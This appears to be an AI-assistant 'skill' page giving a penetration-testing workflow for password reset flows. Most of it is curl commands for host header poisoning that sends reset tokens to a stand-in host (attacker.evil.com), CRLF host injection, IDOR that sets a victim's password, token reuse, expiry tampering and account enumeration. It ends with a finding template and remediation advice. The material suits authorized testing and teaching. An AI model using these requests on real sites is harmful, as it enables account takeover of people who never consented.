Identifying and exploiting weaknesses in password reset flows including weak reset tokens, host header poisoning, IDOR on the identification parameter, missing session invalidation, and account enumeration.
Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
Identifying and exploiting weaknesses in password reset flows including weak reset tokens, host header poisoning, IDOR on the identification parameter, missing session invalidation, and account enumeration.
Two test accounts: attacker-controlled inbox(es) plus a victim account you own
A catch-all / Burp Collaborator domain: to observe poisoned reset links landing on an attacker host
curl / httpie: For manual header injection and token replay
Access to the reset emails: to capture real tokens and link structure
Critical: Checks Most Often Missed
Password reset is one of the most reliable account-takeover surfaces. For every
reset flow, work through this checklist:
Host header poisoning (highest signal): send the reset request with a
spoofed Host: or X-Forwarded-Host: attacker.com (also try
X-Forwarded-Server, X-Host, dangling Host: target.com:@attacker.com,
absolute request line). If the emailed link points to attacker.com/reset?token=...,
the victim's token is exfiltrated when they click — zero-interaction takeover.
IDOR on the identification parameter: the reset confirm step often carries
user, email, user_id, or account alongside the token. Swap it to the
victim while keeping your own valid token to set the victim's password.
Token not invalidated after use / no expiry: reuse a token after a
successful reset, or use it long after issuance. Reusable or eternal tokens
defeat single-use semantics.
Weak token entropy / sequential tokens: request many resets rapidly and
compare tokens. Incrementing counters, timestamps, or short tokens are
predictable — generate the victim's token offline.
No session/token invalidation after reset: old sessions of the victim stay
valid after their password changes, and other outstanding reset tokens still work.
Reset link over HTTP: the link uses http://, leaking the token over
cleartext and via referrers.
Date/time params used to revalidate expired links: links containing
expires=/ts=/timestamp= that the server trusts — tamper the value to
resurrect an expired token.
Account enumeration via reset responses: different message, status code,
or response time for existing vs. non-existing accounts reveals valid users.
Token leakage: token in the URL is exposed via Referer to third-party
assets loaded on the reset page, and in browser history / server logs.
Workflow
Step 1: Map the Reset Flow and Capture a Real Token
Walk the full flow and record every parameter and the email link structure.
# 1) Request a reset for an account you control; capture the request
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@yourinbox.com"}'# 2) Read the email you receive and note the link shape, e.g.:# https://target.example.com/reset?token=8f2a9c...&user=1337# (record token length/charset and any user/email/expires params)# 3) Capture the confirm/submit request that actually sets the new password
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"8f2a9c...","user":1337,"password":"NewPassw0rd!"}'
Step 2: Host Header / X-Forwarded-Host Poisoning
Force the emailed link to point at an attacker-controlled host.
# Variant A: override the Host header outright
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Host: attacker.evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"victim@corp.com"}'# Variant B: X-Forwarded-Host (and siblings) behind a proxy
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Host: target.example.com" \
-H "X-Forwarded-Host: attacker.evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"victim@corp.com"}'# Other headers/tricks to try one at a time:# X-Forwarded-Server: attacker.evil.com# X-Host: attacker.evil.com# X-Forwarded-Host: attacker.evil.com, target.example.com# Host: target.example.com:@attacker.evil.com# Host: target.example.com\n\rHost: attacker.evil.com (CRLF dual host)# RESULT: inspect the victim's email (or your Collaborator/catch-all). If the# reset link reads https://attacker.evil.com/reset?token=... the token is# delivered to you when the victim clicks => account takeover.
Step 3: Token Entropy and Sequential-Token Harvesting
Determine whether tokens are predictable or guessable.
# Rapidly request many resets and diff the tokensfor i in $(seq 1 20); do
curl -s -X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" \
-d '{"email":"attacker+'"$i"'@yourinbox.com"}' >/dev/null
# then read each email and append the token to tokens.txtdone# Look for structure:# - incrementing integers / counters# - unix timestamps or millisecond clocks (predict from request time)# - short hex/base36 (brute forceable)# - md5(email) or md5(userid) style (forgeable offline)# Statistical entropy on captured tokens with Burp Sequencer:# Burp > send a forgot-password response containing the token to Sequencer# > Live capture thousands > Analyze for low effective bits / patterns.# If md5/sha of a known value is suspected, confirm:echo -n "victim@corp.com" | md5sum# compare to the victim's observed/derived token
Step 4: IDOR on the User-Identification Parameter
Reset another user's password using your own valid token.
# Use a VALID token issued to YOUR account, but change the user/email param# on the confirm step to the victim. If the server keys off the param instead# of binding the token to the account, the victim's password is set.
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"<YOUR_VALID_TOKEN>","user":4242,"password":"Pwned123!"}'# Variations to test:# {"token":"<YOURS>","email":"victim@corp.com","password":"Pwned123!"}# /api/password/reset?token=<YOURS>&user_id=4242 (param in query)# parameter pollution: user=<you>&user=<victim># add the victim id in a header the backend trusts (X-User-Id: 4242)# Confirm by logging in as the victim with the new password.
Step 5: Token Reuse, Expiry, and Date-Param Tampering
Test single-use semantics and link-expiry trust.
# --- Reuse after a successful reset ---# Complete a reset with a token, then submit the SAME token again:
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"8f2a9c...","password":"Again123!"}'# 200 = token not invalidated after use (reusable).# --- Expiry bypass via date/time parameter ---# If the link is .../reset?token=...&expires=1716000000 and the server trusts# the param, push it into the future to revive an expired token:
curl -s -i "https://target.example.com/reset?token=OLD_EXPIRED&expires=9999999999"# Also try removing the expires/ts param, or setting it to a far-future epoch.# --- No session invalidation after reset ---# Capture a victim session cookie BEFORE reset, perform the reset, then replay:
curl -s -o /dev/null -w "%{http_code}\n" \
-H "Cookie: SESSIONID=victim-old..." \
"https://target.example.com/account"# 200 = old session survives reset
Step 6: Enumeration, HTTP Transport, and Token Leakage
Check disclosure side-channels and transport security.
# --- Account enumeration via differing responses ---# Existing vs non-existing account: compare body, status, and timing.
curl -s -o /dev/null -w "exists: %{http_code} %{time_total}\n" \
-X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" -d '{"email":"real@corp.com"}'
curl -s -o /dev/null -w "missing: %{http_code} %{time_total}\n" \
-X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" -d '{"email":"nobody-xyz@corp.com"}'# Different message ("email sent" vs "no account"), code, or a consistent# timing gap => username enumeration.# --- Reset link over HTTP ---# Inspect the emailed link scheme; http:// leaks the token over cleartext.# --- Token leakage via Referer to third parties ---# Load the reset page through Burp and check outbound requests: if the page# embeds external analytics/fonts/images, the Referer header carries# ...?token=... to those third-party domains, leaking the token.
Key Concepts
Concept
Description
Host Header Poisoning
Server builds the reset link from a client-controlled Host/X-Forwarded-Host, sending the token to an attacker domain
Token Entropy
Unpredictability of the reset token; low entropy or structure enables guessing/forgery
Sequential Tokens
Tokens derived from counters/timestamps that can be predicted from a known value
Single-Use Semantics
A reset token must be invalidated immediately after one successful use
Identification-Parameter IDOR
Token not bound to the account; swapping user/email resets another user
Session Invalidation
All sessions and other outstanding tokens must be revoked when a password changes
Expiry Trust
Server trusting a client-supplied expires/ts param instead of server-side state
Account Enumeration
Differing reset responses/timing reveal which emails are registered
Token Leakage
Reset token exposed via HTTP transport, Referer to third parties, logs, or history
Free proxy alternative for header tampering and fuzzing
Common Scenarios
Scenario 1: X-Forwarded-Host Token Theft
The application generates the reset link using the incoming X-Forwarded-Host header. An attacker submits a reset for the victim with X-Forwarded-Host: attacker.com; the victim receives an email whose link points to attacker.com/reset?token=.... Clicking it leaks the token, enabling takeover.
Scenario 2: Identification IDOR
The reset confirm endpoint accepts {"token":..., "email":...} but only validates that the token is non-expired, not that it belongs to that email. An attacker uses their own valid token with the victim's email to set the victim's password.
Scenario 3: Predictable Token
Reset tokens are md5(email + small_counter). After observing the structure from their own resets, the attacker computes the victim's token offline and resets without any email access.
Scenario 4: Token Reuse and No Session Kill
After a reset, the old token still works and the victim's pre-reset sessions remain valid, so a previously stolen session or a re-sent token retains access.
Output Format
## Password Reset Finding
**Vulnerability**: Account Takeover via Host Header Poisoning
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/password/forgot (reset link generation)
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. Send POST /api/password/forgot for victim@corp.com with header X-Forwarded-Host: attacker.evil.com
2. Observe (via catch-all/Collaborator) the victim's reset email links to https://attacker.evil.com/reset?token=...
3. When the victim opens the link, the token is delivered to the attacker host
4. Replay the token against POST /api/password/reset to set a new password and log in as the victim
### Tested Weaknesses
| Test | Result |
|------|--------|
| Host / X-Forwarded-Host poisoning | Link host attacker-controlled |
| Identification-param IDOR | email param swappable |
| Token reuse after success | Reusable |
| Session invalidation after reset | Old sessions survive |
| Account enumeration | Distinct message for unknown email |
| Reset link transport | http:// (token in cleartext) |
### Impact
- Zero-to-one-click account takeover of any user by email address
- Reusable tokens and surviving sessions defeat remediation
- Enumeration enables targeted attacks at scale
### Recommendation
1. Build reset links from a server-side allowlisted canonical host; ignore Host/X-Forwarded-Host
2. Bind the token to the account server-side; never trust client user/email/expires params
3. Generate 128-bit CSPRNG tokens, single-use, short-lived, delivered only over HTTPS
4. Invalidate all sessions and outstanding tokens on successful reset
5. Return an identical, generic response for existing and non-existing accounts